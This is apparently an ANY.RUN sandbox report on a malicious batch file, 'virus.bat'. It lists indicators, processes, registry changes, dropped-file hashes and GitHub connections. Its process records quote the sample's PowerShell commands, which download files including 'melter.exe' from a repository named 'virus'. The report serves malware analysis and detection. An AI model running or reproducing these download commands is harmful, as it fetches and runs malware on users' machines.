analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

virus.bat

Full analysis: https://app.any.run/tasks/081a17a1-5041-4156-9d00-de7c4704791f
Verdict: Malicious activity
Analysis date: May 21, 2022, 08:53:52
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with CRLF line terminators
MD5:

530D9C743C20D99FB34C22BA5D1E8808

SHA1:

D5671E66B0C25BB1923AF5A724186247BED12E68

SHA256:

5730AFA97E07F37663ADD4EF67FFEA8907C3411170CBDDC08BD978F9731F08DB

SSDEEP:

384:UyPy/fn77Pn77Gn77fYYYYYYYYYSYYYYYYYYYv:a

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2876)

  • SUSPICIOUS

    • Checks supported languages

      • cmd.exe (PID: 2876)
      • powershell.exe (PID: 3604)
      • powershell.exe (PID: 2276)
      • powershell.exe (PID: 4044)
      • powershell.exe (PID: 3276)
      • powershell.exe (PID: 3548)
      • powershell.exe (PID: 2432)
      • powershell.exe (PID: 3364)
      • powershell.exe (PID: 3684)
      • powershell.exe (PID: 3884)
      • WScript.exe (PID: 3348)
      • WScript.exe (PID: 1672)
      • WScript.exe (PID: 1764)
      • WScript.exe (PID: 3396)
      • WScript.exe (PID: 2348)

    • Reads the computer name

      • powershell.exe (PID: 3604)
      • powershell.exe (PID: 4044)
      • powershell.exe (PID: 2276)
      • powershell.exe (PID: 3548)
      • powershell.exe (PID: 3276)
      • powershell.exe (PID: 2432)
      • powershell.exe (PID: 3364)
      • powershell.exe (PID: 3684)
      • powershell.exe (PID: 3884)
      • cmd.exe (PID: 2876)
      • WScript.exe (PID: 3348)
      • WScript.exe (PID: 1764)
      • WScript.exe (PID: 1672)
      • WScript.exe (PID: 3396)
      • WScript.exe (PID: 2348)

    • Executed via COM

      • explorer.exe (PID: 3024)

    • Reads Environment values

      • powershell.exe (PID: 3604)
      • powershell.exe (PID: 2276)
      • powershell.exe (PID: 4044)
      • powershell.exe (PID: 3548)
      • powershell.exe (PID: 3276)
      • powershell.exe (PID: 2432)
      • powershell.exe (PID: 3364)
      • powershell.exe (PID: 3684)
      • powershell.exe (PID: 3884)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 2876)

    • Changes the desktop background image

      • reg.exe (PID: 3312)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2876)

    • Executes scripts

      • cmd.exe (PID: 2876)

    • Creates files in the user directory

      • WScript.exe (PID: 3348)

  • INFO

    • Checks supported languages

      • explorer.exe (PID: 3312)
      • timeout.exe (PID: 2948)
      • explorer.exe (PID: 3024)
      • reg.exe (PID: 3312)
      • rundll32.exe (PID: 2884)
      • timeout.exe (PID: 2496)
      • rundll32.exe (PID: 2376)

    • Reads the computer name

      • explorer.exe (PID: 3024)
      • explorer.exe (PID: 3312)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 3604)
      • powershell.exe (PID: 2276)
      • powershell.exe (PID: 4044)
      • powershell.exe (PID: 3548)
      • powershell.exe (PID: 2432)
      • powershell.exe (PID: 3276)
      • powershell.exe (PID: 3364)
      • powershell.exe (PID: 3684)
      • powershell.exe (PID: 3884)
      • WScript.exe (PID: 3348)
      • WScript.exe (PID: 1764)
      • WScript.exe (PID: 3396)
      • WScript.exe (PID: 1672)
      • WScript.exe (PID: 2348)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
56
Monitored processes
22
Malicious processes
1
Suspicious processes
9

Behavior graph

Click at the process to see the details
start cmd.exe no specs timeout.exe no specs explorer.exe no specs powershell.exe explorer.exe no specs powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe reg.exe no specs timeout.exe no specs rundll32.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs wscript.exe no specs rundll32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2876C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\virus.bat" "C:\Windows\system32\cmd.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2948timeout 05 /nobreak C:\Windows\system32\timeout.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\timeout.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
3312C:\Windows\explorer.exe shell:::{3080F90D-D7AD-11D9-BD98-0000947B0257}C:\Windows\explorer.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3604powershell -command "wget https://github.com/WcsSkwal/virus/raw/master/1.wav -outfile 1.wav"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\atl.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
3024C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -EmbeddingC:\Windows\explorer.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2276powershell -command "wget https://github.com/WcsSkwal/virus/raw/master/2.wav -outfile 2.wav"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
4044powershell -command "wget https://github.com/WcsSkwal/virus/raw/master/3.wav -outfile 3.wav"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3548powershell -command "wget https://github.com/WcsSkwal/virus/raw/master/4.wav -outfile 4.wav"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3276powershell -command "wget https://github.com/WcsSkwal/virus/raw/master/5.mp3 -outfile 5.mp3"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2432powershell -command "wget https://github.com/WcsSkwal/virus/raw/master/melter.exe -outfile melter.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
9 642
Read events
9 558
Write events
84
Delete events
0

Modification events

(PID) Process:(3024) explorer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
Operation:writeName:{3080F90D-D7AD-11D9-BD98-0000947B0257} {000214E4-0000-0000-C000-000000000046} 0xFFFF
Value:
0100000000000000266AE750F06CD801
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(3604) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:FileTracingMask
Value:
Executable files
0
Suspicious files
19
Text files
3
Unknown types
1

Dropped files

PID
Process
Filename
Type
4044powershell.exeC:\Users\admin\AppData\Local\Temp\ky1iuyzt.ebz.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3548powershell.exeC:\Users\admin\AppData\Local\Temp\nptsrmyx.yfl.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2432powershell.exeC:\Users\admin\AppData\Local\Temp\rv3ish0d.uua.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3884powershell.exeC:\Users\admin\AppData\Local\Temp\ozcdepuc.uk0.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
4044powershell.exeC:\Users\admin\AppData\Local\Temp\kf4c0ege.zl0.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2876cmd.exeC:\Users\admin\AppData\Local\Temp\wcs\wcs1.vbstext
MD5:6B29DA2D6D7BAC4E365D7BFDDB4B5428
SHA256:23C3C72DB728EB062DB9336E1C8E7840D4C554720D056CFF41E2339B07879F75
3604powershell.exeC:\Users\admin\AppData\Local\Temp\j0u0bgpo.lnp.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2276powershell.exeC:\Users\admin\AppData\Local\Temp\3zjjwwos.yi4.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3604powershell.exeC:\Users\admin\AppData\Local\Temp\fxmgkjq5.gox.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3276powershell.exeC:\Users\admin\AppData\Local\Temp\xkzixwkn.hsn.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
10
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2276
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
3276
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
4044
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
3548
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
3604
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
2432
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
3684
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
3364
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious
3884
powershell.exe
140.82.121.3:443
github.com
—
US
suspicious

DNS requests

Domain
IP
Reputation
github.com
  • 140.82.121.3
shared

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
virus.bat